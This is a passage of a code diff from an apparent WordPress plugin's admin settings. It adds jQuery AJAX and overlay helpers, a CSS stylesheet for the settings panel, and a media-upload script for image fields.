451
+ callback: $("input[name=callback]", $(this).parent()).val(),
452
+ itemsnum: $("select[name=itemsnum]", $(this).parent()).val()
453
+ };
454
+ var _tmpnode = $("input[type=button]", $(this).parent());
455
+ var _tmpval = $("input[type=button]", $(this).parent()).val();
456
+ _tmpnode.val("Wait..");
457
+ _tmpnode.css("opacity", 0.8);
458
+ _tmpnode.attr("disabled", "disabled");
459
+ jQuery.post(
460
+ ajaxurl,
461
+ data,
462
+ function(response) {
463
+ if (response.status==0) {
464
+ noty({
465
+ text: response.msg,
466
+ type: 'error',
467
+ timeout: '2000'
468
+ });
469
+ } else {
470
+ noty({
471
+ text: response.msg,
472
+ type: 'success',
473
+ timeout: '2000'
474
+ });
475
+ }
476
+ _tmpnode.css("opacity", 1);
477
+ _tmpnode.removeAttr("disabled");
478
+ _tmpnode.val(_tmpval);
479
+ }, 'json');
480
+ });
481
+ });
482
+ this.constructor();
483
+ }(jQuery);
484
+ $(document).ready(function() {
485
+ var x = new wpdreamsOthers();
486
+ });
487
+ (function( $ ){
488
+ $.fn.disable = function() {
489
+ return this.each(function() {
490
+ if ($('.hider', this)[0]==null) {
491
+ $(this).css('position', 'relative');
492
+ var w = $(this).width();
493
+ var h = $(this).height();
494
+ this.$innerDiv = $(this)
495
+ .append($('<div></div>')
496
+ .css({
497
+ position: 'absolute',
498
+ opacity: 0.7,
499
+ top: 0,
500
+ left: 0,
501
+ background: "#FFFFFF",
502
+ width: w,
503
+ height: h
504
+ })
505
+ .addClass('hider')
506
+ )
507
+ ;
508
+ } else {
509
+ $('.hider', this).css({
510
+ display: 'block'
511
+ });
512
+ }
513
+ });
514
+ }
515
+ $.fn.enable = function() {
516
+ return this.each(function() {
517
+ if ($('.hider', this)[0]!=null) {
518
+ $('.hider', this).css({
519
+ display: "none"
520
+ });
521
+ }
522
+ });
523
+ }
524
+ })( jQuery );
525
+ }(jQuery));
settings/types/style.css ADDED
@@ -0,0 +1,350 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #wpdreams {
2
+ font:normal 13px/100% Verdana,Tahoma,sans-serif;
3
+ }
4
+
5
+ #wpdreams hidden {
6
+ display: none;
7
+ }
8
+
9
+ #wpdreams div.triggerer {
10
+ display:none;
11
+ }
12
+ #wpdreams legend {
13
+ font-size:1.2em;
14
+ color:#444;
15
+ }
16
+ #wpdreams hr {
17
+ color:#eee;
18
+ background-color:#eee;
19
+ margin:10px 40px;
20
+ border:none;
21
+ }
22
+ #wpdreams .wpdreams-container {
23
+ overflow:hidden;
24
+ }
25
+ #wpdreams input,#wpdreams textarea,#wpdreams select {
26
+ padding:9px;
27
+ border:solid 1px #E5E5E5;
28
+ outline:0;
29
+ height:auto;
30
+ font:normal 13px/100% Verdana,Tahoma,sans-serif;
31
+ width:200px;
32
+ background:-webkit-gradient(linear,left top,left 25,from(#FFFFFF),color-stop(4%,#EEEEEE),to(#FFFFFF));
33
+ background:-moz-linear-gradient(top,#FFFFFF,#EEEEEE 1px,#FFFFFF 25px);
34
+ box-shadow:rgba(0,0,0,0.1) 0px 0px 8px;
35
+ -moz-box-shadow:rgba(0,0,0,0.1) 0px 0px 8px;
36
+ -webkit-box-shadow:rgba(0,0,0,0.1) 0px 0px 8px;
37
+ }
38
+
39
+ #wpdreams .wpdreamsTextSmall input,
40
+ #wpdreams input.threedigit {
41
+ width: 70px;
42
+ }
43
+ #wpdreams select {
44
+ padding:8px 9px 4px 9px;
45
+ }
46
+ #wpdreams input[type=radio] {
47
+ width:30px;
48
+ }
49
+ #wpdreams a.yes {
50
+ background: none repeat scroll 0 0 #51C07D;
51
+ border: 1px solid #3B865A;
52
+ border-radius: 4px 4px 4px 4px;
53
+ box-shadow: 1px 1px 0 0 rgba(255, 255, 255, 0.6) inset;
54
+ color: #FFFFFF;
55
+ cursor: pointer;
56
+ line-height: 35px;
57
+ margin: 12px auto;
58
+ padding: 6px 10px;
59
+ }
60
+ #wpdreams a.no {
61
+ background: none repeat scroll 0 0 #BE4545;
62
+ border: 1px solid #7C383C;
63
+ border-radius: 4px 4px 4px 4px;
64
+ box-shadow: 1px 1px 0 0 rgba(255, 255, 255, 0.5) inset;
65
+ color: #FFFFFF;
66
+ cursor: pointer;
67
+ line-height: 35px;
68
+ margin: 12px auto;
69
+ padding: 6px 10px;
70
+ }
71
+ #wpdreams input.color {
72
+ background:0;
73
+ width:92px;
74
+ }
75
+ #wpdreams textarea {
76
+ width:334px;
77
+ height:150px;
78
+ line-height:100%;
79
+ }
80
+ #wpdreams input:hover,#wpdreams textarea:hover,#wpdreams input:focus,#wpdreams textarea:focus {
81
+ border-color:#C9C9C9;
82
+ -webkit-box-shadow:rgba(0,0,0,0.15) 0px 0px 8px;
83
+ }
84
+ #wpdreams form label {
85
+ margin:0 10px;
86
+ color:#999999;
87
+ }
88
+ #wpdreams input[type=button],#wpdreams input[type=submit] {
89
+ width:auto;
90
+ padding:9px 15px;
91
+ background:#017798;
92
+ border:0;
93
+ font-size:14px;
94
+ color:#FFFFFF;
95
+ -moz-border-radius:5px;
96
+ -webkit-border-radius:5px;
97
+ cursor:pointer;
98
+ margin-bottom:19px;
99
+ }
100
+ #wpdreams input[type=submit] {
101
+ background:#617798;
102
+ }
103
+ #wpdreams .sortable .wpdreams-slider {
104
+ background:transparent url(icons/drag.png) no-repeat;
105
+ position:relative;
106
+ cursor:move;
107
+ }
108
+ #wpdreams .sortable .wpdreams-slider .drag {
109
+ cursor:pointer;
110
+ height:46px;
111
+ position:absolute;
112
+ top:0;
113
+ left:0;
114
+ width:30px;
115
+ }
116
+ #wpdreams label {
117
+ vertical-align:baseline;
118
+ margin:0 10px;
119
+ color:#999999;
120
+ }
121
+ #wpdreams input.shortcode {
122
+ padding:1px 1px 1px 5px;
123
+ border:solid 1px #E5E5E5;
124
+ outline:0;
125
+ font:normal 10px/100% Verdana,Tahoma,sans-serif;
126
+ width:200px;
127
+ height:20px;
128
+ }
129
+ #wpdreams label.shortcode {
130
+ font-size:12px;
131
+ }
132
+ #wpdreams img.infoimage {
133
+ cursor:pointer;
134
+ margin-left:8px;
135
+ margin-top:-2px;
136
+ vertical-align:middle;
137
+ }
138
+ #wpdreams .item {
139
+ width:750px;
140
+ text-align:right;
141
+ padding:3px;
142
+ margin:17px 0 0;
143
+ }
144
+ #wpdreams .wpdreams-slider {
145
+ overflow:hidden;
146
+ border:solid 1px #E5E5E5;
147
+ outline:0;
148
+ font:normal 13px/100% Verdana,Tahoma,sans-serif;
149
+ box-shadow:rgba(0,0,0,0.1) 0px 0px 8px;
150
+ -moz-box-shadow:rgba(0,0,0,0.1) 0px 0px 8px;
151
+ -webkit-box-shadow:rgba(0,0,0,0.1) 0px 0px 8px;
152
+ padding:10px;
153
+ margin:10px;
154
+ }
155
+ #wpdreams .wpdreams-slider .slider-info {
156
+ height:26px;
157
+ margin:4px 0 0 0;
158
+ font-size:1.1em;
159
+ padding:0 0 0 20px;
160
+ }
161
+ #wpdreams .wpdreams-slider .slider-info span {
162
+ margin-left:20px;
163
+ }
164
+ #wpdreams .wpdreams-slider .slider-info img {
165
+ margin-left:8px;
166
+ margin-top:-2px;
167
+ vertical-align:middle;
168
+ cursor:pointer;
169
+ }
170
+ #wpdreams .preview {
171
+ height:28px;
172
+ vertical-align:middle;
173
+ border-radius:2px;
174
+ float:none;
175
+ cursor:pointer;
176
+ }
177
+ #wpdreams fieldset {
178
+ border:1px solid #EEEEEE;
179
+ margin:20px 5px 5px 5px;
180
+ padding:11px;
181
+ }
182
+
183
+ #wpdreams form fieldset {
184
+ border:1px solid #EEEEEE;
185
+ margin:20px 5px 30px;
186
+ padding:11px;
187
+ }
188
+
189
+ #wpdreams fieldset fieldset {
190
+ border:1px dotted #ddd;
191
+ background: #fefefe;
192
+ margin:5px 0px 20px;
193
+ padding:11px;
194
+ font-size: 0.9em;
195
+ }
196
+ #wpdreams .errorMsg {
197
+ color:#77261a;
198
+ padding:7px;
199
+ margin:5px;
200
+ border:1px solid #eee;
201
+ background:#fff1f1;
202
+ border-radius:3px;
203
+ text-align:left;
204
+ }
205
+ #wpdreams .successMsg {
206
+ color:#1a772c;
207
+ padding:7px;
208
+ margin:5px;
209
+ border:1px solid #eee;
210
+ background:#f1fff1;
211
+ border-radius:3px;
212
+ }
213
+ .tooltip {
214
+ display:none;
215
+ background:transparent url(icons/black_arrow.png);
216
+ font-size:12px;
217
+ height:70px;
218
+ width:160px;
219
+ padding:25px;
220
+ color:#eee;
221
+ }
222
+ #wpdreams .overlay {
223
+ display:none;
224
+ z-index:10000;
225
+ background-color:#333;
226
+ min-width:10px;
227
+ min-height:10px;
228
+ border:1px solid #666;
229
+ -moz-box-shadow:0 0 90px 5px #000;
230
+ -webkit-box-shadow:0 0 90px #000;
231
+ }
232
+ #wpdreams .overlay .close {
233
+ background-image:url(icons/close.png);
234
+ position:absolute;
235
+ right:-15px;
236
+ top:-15px;
237
+ cursor:pointer;
238
+ height:35px;
239
+ width:35px;
240
+ }
241
+ #wpdreams .labeldrag {
242
+ background:#eee;
243
+ position:relative;
244
+ border:1px solid #ddd;
245
+ width:410px;
246
+ float:right;
247
+ }
248
+ #wpdreams .labeldrag .inner {
249
+ background:#FFF;
250
+ position:absolute;
251
+ top:5px;
252
+ left:5px;
253
+ border:1px solid #ddd;
254
+ background:url(icons/labelposition.png) no-repeat #fff;
255
+ }
256
+ #wpdreams .labeldrag .inner .dragme {
257
+ width:10px;
258
+ height:10px;
259
+ background-image:url(icons/point.png);
260
+ cursor: pointer;
261
+ }
262
+
263
+ #wpdreams img.radioimage {
264
+ border: 2px solid #eee;
265
+ border-radius: 4px;
266
+ margin: 5px;
267
+ cursor: pointer;
268
+ vertical-align:middle;
269
+ padding: 5px;
270
+ }
271
+
272
+ #wpdreams img.radioimage:hover {
273
+ border: 2px solid #ddd;
274
+ box-shadow: 0px 0px 3px 1px #ddd;
275
+ }
276
+
277
+ #wpdreams img.radioimage.selected {
278
+ border: 2px solid #777;
279
+ box-shadow: 0px 0px 3px 1px #999;
280
+ }
281
+
282
+ #wpdreams span.radioimage {
283
+ vertical-align:middle;
284
+ margin:0 10px;
285
+ color:#999999;
286
+ }
287
+
288
+ #wpdreams .wpdreamsBoxShadow {
289
+ text-align:right;
290
+ }
291
+
292
+ #wpdreams .wpdreamsBorder {
293
+ text-align:right;
294
+ }
295
+
296
+ #wpdreams input.twodigit {
297
+ width: 50px;
298
+ text-align:right;
299
+ }
300
+
301
+ #wpdreams .big-loading {
302
+ width: 400px;
303
+ height: 317px;
304
+ margin: 0 auto;
305
+ background:transparent url(icons/loading-big.gif) no-repeat;
306
+ }
307
+
308
+
309
+ #wpdreams .wpdreamsThemeChooser span {
310
+ background: url("icons/paint.png") no-repeat scroll 0 0 transparent;
311
+ display: inline-block;
312
+ height: 32px;
313
+ margin: 0 10px;
314
+ vertical-align: middle;
315
+ width: 32px;
316
+ }
317
+
318
+ #wpdreams .sortablecontainer {
319
+ width: 40%;
320
+ margin: 15px 30px;
321
+ float: left;
322
+ text-align: center;
323
+ color: #999;
324
+ }
325
+
326
+ #wpdreams .sortablecontainer ul {
327
+ height: 300px;
328
+ overflow: auto;
329
+ background: #f6f6f6;
330
+ padding: 10px;
331
+ border: 1px solid #eee;
332
+ }
333
+
334
+ #wpdreams .sortablecontainer ul li {
335
+ padding: 10px;
336
+ cursor: move;
337
+ }
338
+
339
+ #wpdreams .item p.extra {
340
+ margin: 20px;
341
+ color: #aaa;
342
+ }
343
+
344
+ #wpdreams .wpdreamsCustomPostTypesEditable span {
345
+ color: #666;
346
+ }
347
+
348
+ #wpdreams .wpdreamsCustomPostTypesEditable input {
349
+ padding: 3px;
350
+ }
settings/types/upload.js ADDED
@@ -0,0 +1,67 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ /*jQuery(document).ready(function() {
2
+ var _self = this;
3
+ jQuery('.upload_image_button').click(function() {
4
+ _self.field = jQuery(this).prev();
5
+ tb_show('', 'media-upload.php?type=image&amp;TB_iframe=true', false);
6
+ return false;
7
+ });
8
+
9
+ window.send_to_editor = function(html) {
10
+ imgurl = jQuery('img',html).attr('src');
11
+ _self.field.val(imgurl);
12
+ tb_remove();
13
+ _self.createPreview();
14
+ }
15
+
16
+ this.createPreview = function() {
17
+ node = _self.field.next();
18
+
19
+ }
20
+
21
+ }); */
22
+
23
+ function wpdreamsuploader(args) {
24
+ this.constructor = function() {
25
+ this.buttons = jQuery('.wpdreamsUpload_button');
26
+ if (this.buttons.length==0) return;
27
+ this.currentInput = null;
28
+ this.init();
29
+ jQuery('input.wpdreamsUpload').change(function() {
30
+ var _parent = this;
31
+ jQuery('img', this.parentNode).each(function(){
32
+ jQuery(this).css("display", "inline");
33
+ this.src = jQuery(_parent).val()+"?"+Math.random();
34
+ });
35
+ });
36
+ jQuery("img[rel]").overlay();
37
+ },
38
+
39
+ this.init = function() {
40
+ this.buttons.bind('click', jQuery.proxy(this.openTb, this));
41
+ jQuery('input[name="default"]').click(function(){
42
+ jQuery(this).prev().prev().val(jQuery(this).next().val());
43
+ jQuery('input.wpdreamsUpload').trigger("change");
44
+ });
45
+ window.send_to_editor = jQuery.proxy(function(html) {
46
+ imgurl = jQuery('img',html).attr('src');
47
+ if (this.currentInput==null) return;
48
+ this.currentInput.val(imgurl);
49
+ tb_remove();
50
+ jQuery('input.wpdreamsUpload').trigger("change");
51
+ }, this);
52
+ },
53
+
54
+ this.openTb = function(e) {
55
+ this.currentInput = jQuery(e.target).prev();
56
+ tb_show('', 'media-upload.php?type=image&amp;TB_iframe=true', false);
57
+ return false;
58
+ }
59
+ this.constructor();
60
+ }
61
+
62
+
63
+
64
+ jQuery(document).ready(function() {
65
+ if (x==null)
66
+ var x = new wpdreamsuploader();
67
+ });